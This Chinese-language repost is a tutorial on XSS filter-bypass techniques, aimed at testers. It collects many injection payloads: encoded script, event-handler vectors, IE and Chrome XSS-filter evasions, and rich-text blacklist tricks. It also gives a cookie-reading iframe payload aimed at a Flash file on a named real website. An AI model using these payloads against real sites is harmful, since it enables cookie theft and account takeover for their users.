【转】跨站测试与利用中的绕过技术

1.1 bypass Char

通常有安全意识的程序员往往会对输入进行一定的过滤，比较常见的是针对某一关键符号进行过滤，比如“<”或者“>”，这种方式很多时候是无法防止攻击的，更安全的方式是通过编程语言提供的函数在输出的时候进行过滤。

本节主要针对单字符过滤进行研究，分为引号、尖括号、括号这三个符号进行研究。

1.1.1 引号

在跨站测试中很多的vector(即攻击向量)本身是不包含引号的，例如下面的一些vector。但是在利用中经常需要使用引号，如果对引号进行了过滤，可以采取如下措施进行绕过。

vector:

<script>alert(/insight-labs/)</script>

<iframe/onload=alert(/insight-labs/)>

<img src=x onerror=alert(/insight-labs/)>

<p onmouseover=alert(/insight-labs/)>insight-labs here.</p>

1)String.fromCharCode

fromCharCode可以对利用代码中的引号进行编码处理，但是需要利用eval函数结合进行使用，例如:

<script>alert(‘insight-labs’)</script> —–> <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

2)location.hash

将带有引号的内容放在location.hash中，其实这个也可以突破跨站长度的控制。

<script>eval(location.hash.slice(1))</script>#alert(‘a’)

3)/string/.source

/string/中的string表示的是正则表达式，用.source则可以取到正则表达式的文本形式，然后使用eval(/string/.source);就可以执行。

1.1.2 尖括号

通常程序员为了偷懒都只会过滤尖括号，因此尖括号在跨站过滤中遇到情况最多。一般情况下如果输入没有显示在其他标签里，那么基本上是没有办法进行攻击的，但是如果是输出到其他标签里，则可以结合上下标签进行如下测试：

1）事件函数

常用的一些事件函数有：onerror、onmouseover、onload等(同时可以关注下HTML5新标签)，需要的时候可以对JavaScript的事件函数进行fuzz。

<img src=x onerror=alert(/insight-labs/)>

<p onmouseover=alert(/insight-labs/)>insight-labs here.</p>

<frameset onload=alert(/insight-labs/)>

<body onload=alert(/insight-labs/)>

2)style与expression

通过标签的style样式进行跨站(测试中只有IE成功，同时还得考虑filter问题)。

<div style=”width:expression(alert(‘insight-labs’));”>

3)JavaScript伪协议

JavaScript伪协议进行绕过。

<img src=javascript:alert(‘insight-labs’)> （仅IE6)

1.1.3 括号

如果测试中发现括号被过滤了，或者无法注入括号，可以进行如下测试：

1）外部文件

通过src引入外部文件，而利用代码放在外部文件中（其中外部文件的后缀可以不为js）。

<script src=’1.js’></script>

<script src=’2.jpg’></script>

2）hex、dec编码

利用十六进制与十进制进行编码。

<div style=”&#119&#105&#100&#116&#104&#58&#101&#120&#112&#114&#101&#115&#115&#105&#111&#110&#40&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#101&#114&#39&#41&#41″>xsser</div>

1.2 bypass filter

针对跨站问题日益严重，浏览器厂商从自身浏览器安全出发推出了各自的跨站过滤器。但是这类过滤器基本上只支持反射型跨站，其他类型跨站基本不受影响。

各种浏览器采用的防御机制各不相同。反射型跨站防御方面：Firefox基本没什么防御，而IE和chrome都有各自的防御机制，并且都很难绕过，这里主要总结下现有的一些可以绕过机制。

1.2.1 IE Filter

IE从IE7就支持XSS Filter，其整体架构可见参考文献1，正则匹配部分可以参见文献2。实际处理步骤可分为三步：首先对IE进行启发式过滤（heuristic filters，正则匹配）；如果在HTTP请求中匹配到这些特征，那么就做一个动态签名（create dynamic signature）；如果在HTTP响应中有原来的签名，那么就进行替换修改（neuter response）。在IE全补丁下进行测试，现有公布的绕过技术基本上很少，先总结如下：

1）<a href=>

针对普通的反射型跨站，可以利用A标签和“sc%0aript”实现绕过，不过需要用户交互，这里需要美工师咯。其实原理是页面输出后这两个页面属于同一域，因此不会产生过滤。如果href里面的地址是不同域就会产生过滤。

<a href=”xss.php?a=<sc%0aript>alert(/insight-labs/)</script>”>

<a href=”xss.php?a=<sc%0aript>alert(/insight-labs/)</script>”><div style=”position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px; padding: 1em;background:black;text-align: center;”>click to continue</div></a>

http://vulnerabledoma.in/xssable?q =％22％3CA％20href％3Djavascript％26.x3A的％3Balert％26％28×28％3B1％26％29×29％3B / / =％3Exxx

http://vulnerabledoma.in/xssable?q=”<a href=javascript&.x3A;alert&(x28;1&)x29;//=>xxx

2）utf7

通过UTF7-BOM实现注入代码，全补丁情况下只有当header里编码为utf-7才能成功，可以参考文献3。

%2BACIAPgA8-script%2BAD4-alert%28/insight-labs/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J

3) Flash

在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。当受害者打开了www.B.com的域名时，我们可以成功获取其在www.A.com的cookies数据，参见文献8。

测试代码如下(IE)：

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:’<script>alert(document.cookie)</script>’%22})()”></iframe>

在chrome中，可能会导致浏览器崩溃，可以改用以下代码。

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()”></iframe>

4) magic_quotes_gpc

PHP如果开启了”魔术引号”特性(magic_quotes_gpc = On),则’ (single-quote), “(double quote), \(backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>\0).

通过一些测试,发现ie xss filter对NULL字符的转义处理并不感冒,意思是它并不了解这种转换过程。参见文献9

<script/%00%00v%00%00>alert(1)</script>

%c0”;alert(%00)//

%c0”//(%000000%0dalert(1)//

1.2.2 chrome filter

chrome浏览器针对xss过滤规则跟IE有比较大的区别，不同版本的chrome测试也会不同，现有的资料可以参考文献4、5。

1） data协议

?vuln=<a href=”javascript:alert(document.cookie);”>click</a> //会拦截

–à转换成 <a href=”javascript:void(0)”>click</a>

//bypass

?vuln=<a href=”data:text/html;

base64,PHNjcmlwdD5hbGVydCgnSGVsbG8gd29ybGQhJyk8L3NjcmlwdD4=

“>click<a>

-àOK

1.3 bypass richtext

富文本常见类别有留言，日志或者邮件等。与一般的跨站相比它可以使用现有的标签进行测试分析。一般过滤机制分为两种：黑名单、白名单，这两类机制实质都是基于正则匹配进行过滤，因此在测试过程中需要对比输入和输出，然后进行针对性变化。

常见测试流程：输入常见标签和事件——>是否有存在的标签没有过滤——->变形或者分析其属性

标签：object, applet, base, link, meta, import, embed, vmlframe, iframe, script, style, isindex, form，textarea，

字符：javascript:, vbscript:

事件：onload,onerror,on*

1.3.1 绕过规则

本小节将一些常见的一些变化规则进行了归类，实际测试中结合多种方式进行组合测试。

1）未递归过滤

很多富文本过滤都是针对关键字过滤，但是没有进行递归过滤，导致过滤后的结果重新组成新的标签，例如：

<ifra<iframe>me>之——过滤——<iframe>———-<iframe>

<s<script></script>cript>—–过滤—<script>———-<script></script>

2)编码

利用字符的十六进制和十进制编码进行绕过关键字。由于expression只有IE能执行，因此仅限于IE。

<div style=”width:expression(alert(/insight-labs/))”>insight-labs</div>

<div style=”width:\0065xpression(alert(/insight-labs/))”>insight-labs</div>

//两次不同类型编码

<div style=”width:\0065xpressio\6e(alert(/insight-labs/))”>insight-labs</div>

<div style=”&#119&#105&#100&#116&#104&#58&#101&#120&#112&#114&#101&#115&#115&#105&#111&#110&#40&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#101&#114&#39&#41&#41″>xsser</div>

3)特殊字符

在构造的vector中可以插入tab、换行、等其他空白字符或者”/**”绕过关键字匹配，基本上也只限于IE。

<img src=”java scr ipt:alert(/insight-labs/)”> 两次tab,ie6

<div style=”width:exp/**

**/ression(alert(/insight-labs/))”>insight-labs</div> IE

4)非常见协议

利用object标签，将date属性数据进行base64编码绕过关键数据，同时object标签也是经常被遗忘的标签。

<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4=”>

5)HTML5

利用HTML5新标签或者新属性进行绕过，相对而言这类利用要求的环境相对比较苛刻，详细见参考文献6。

新标签:<button>,<video>,<audio>,<article>,<footer>,<nav>

新属性:autocomplete, autofocus, pattern ..etc